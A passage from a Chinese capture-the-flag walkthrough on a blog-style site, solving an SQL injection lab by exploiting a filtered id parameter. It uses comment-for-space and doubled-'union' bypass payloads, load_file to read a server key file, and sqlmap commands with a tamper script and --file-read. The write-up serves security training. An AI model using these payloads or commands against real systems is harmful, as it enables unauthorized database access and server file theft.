当前位置: 首页 > news >正文

题目1 SQL注入(保姆级教程)

url:http://192.168.154.253:81/  #打开http://XXX:81/,XXX为靶机的ip地址

审题

1、打开题目看到有一个提示,此题目需要通过SQL注入漏洞读取/tmp/360/key文件,key在这个文件中

2、开始答题

发现这里url中有一个id的参数,并且给出了当前所执行的sql语句

第一步:判断注入点

1、?id=1'

2、?id=1'and'1'='1

第二步:判断语句模板

1、使用 order by 判断语句模板列数

发现语句在执行中过滤了空格还过滤了“#”

执行失败:

?id=1'and'1'='1'order by 3#

?id=1'and'1'='1'order+by+3#

执行成功:

?id=1')and'1'='1'order/**/by/**/3%23

解释:

?id=1')and'1'='1'order/**/by/**/3%23

  • ')用来闭合前面的语句,order/**/by/**/3%23(order by 3)用来查询模板列数
  • /**/(用注释的方式代替空格),%23(使用url编码代替#

2、判断出语句模板有4个字段

回显正常:

?id=1')and'1'='1'order/**/by/**/4%23  #执行 order by 4 的时候回显正常

回显不正常:

?id=1')and'1'='1'order/**/by/**/5%23  #执行 order by 5 的时候回显不正常

第三步:找回显点

回显不正常:

?id=1')and'1'='2'union/**/select/**/1,2,3,4%23

思路:使用 and 1=2 报错找回显点

回显正常:

?id=1')and'1'='2'uunionnion/**/select/**/1,2,3,4%23

思路:由于过滤了union,所以这里使用双写的方式经行过滤绕过,并且判断出回显点有3个(语句模板中的234位置均为回显点)

第四步:拿到flag

执行成功:

?id=1')and'1'='2'uunionnion/**/select/**/1,database(),load_file('/tmp/360/key'),user()%23

解释:

—— 1')and'1'='2'union/**/select/**/1,database(),load_file('/tmp/360/key'),user()#')

  • database() #当前数据库名
  • user() #当前数据库用户名
  • load_file('/tmp/360/key') #读取服务器文件

扩展:使用sqlmap一把梭哈

1、由于前面判断出了此题注入点存在过滤空格的情况,所以在使用sqlmap的时候需要指定脚本(用注释/**/替换空格字符' ':--tamper "space2comment.py")运行

命令:

  • python sqlmap.py -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py" #我用的是sqlmap.py脚本所以使用python执行,用kali就直接用第二条命令就行
  • sqlmap -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py"

命令:

  • python sqlmap.py -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py" --file-read "/tmp/360/key"  #我用的是sqlmap.py脚本所以使用python执行,用kali就直接用第二条命令就行
  • sqlmap -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py" --file-read "/tmp/360/key"  

2、获取到flag

http://www.lryc.cn/news/95224.html

相关文章:

  • PDF转换成word乱码了怎么办?最实用的方法在这里!
  • 字节跳动后端面试,笔试部分
  • [JavaScript游戏开发] 2D二维地图绘制、人物移动、障碍检测
  • 区间预测 | MATLAB实现基于QRF随机森林分位数回归时间序列区间预测模型
  • .NET网络编程——TCP通信
  • 【Python机器学习】实验01 Numpy以及可视化回顾
  • vue3-组件中的变化
  • 认识主被动无人机遥感数据、预处理无人机遥感数据、定量估算农林植被关键性状、期刊论文插图精细制作与Appdesigner应用开发
  • 数学建模的六个步骤
  • 【计算机组成原理】24王道考研笔记——第二章 数据的表示和运算
  • JQ-6 Bootstrap入门到实战;Bootstrap的(优缺点、安装、响应式容器原理、网格系统、响应式工具类、Bootstrap组件);小项目实践
  • 如何用3D格式转换工具HOOPS Exchange读取颜色和材料信息?
  • [Ubuntu 22.04] 安装docker,并设置镜像加速
  • 如何使用GPT作为SQL查询引擎的自然语言
  • Servlet3.0上传文件
  • 【ARM Cache 系列文章 6 番外篇 – MMU, MPU, SMMU, PMU 差异与关系】
  • NetSuite ERP顾问的进阶之路
  • js 新浏览器打开页面
  • jmeter软件测试实验(附源码以及配置)
  • ZooKeeper原理剖析
  • 【算组合数】CF1833 F
  • Attention详解(自用)
  • pptx转pdf工具类
  • 2023华为OD统一考试(B卷)题库清单(持续收录中)以及考点说明
  • 论文笔记--Won’t Get Fooled Again: Answering Questions with False Premises
  • 【Django】include app_name和namespace的区别
  • (黑客)自学笔记
  • 【期末课程设计】学生成绩管理系统
  • 【论文笔记】KDD2019 | KGAT: Knowledge Graph Attention Network for Recommendation
  • ES6:基础使用,积累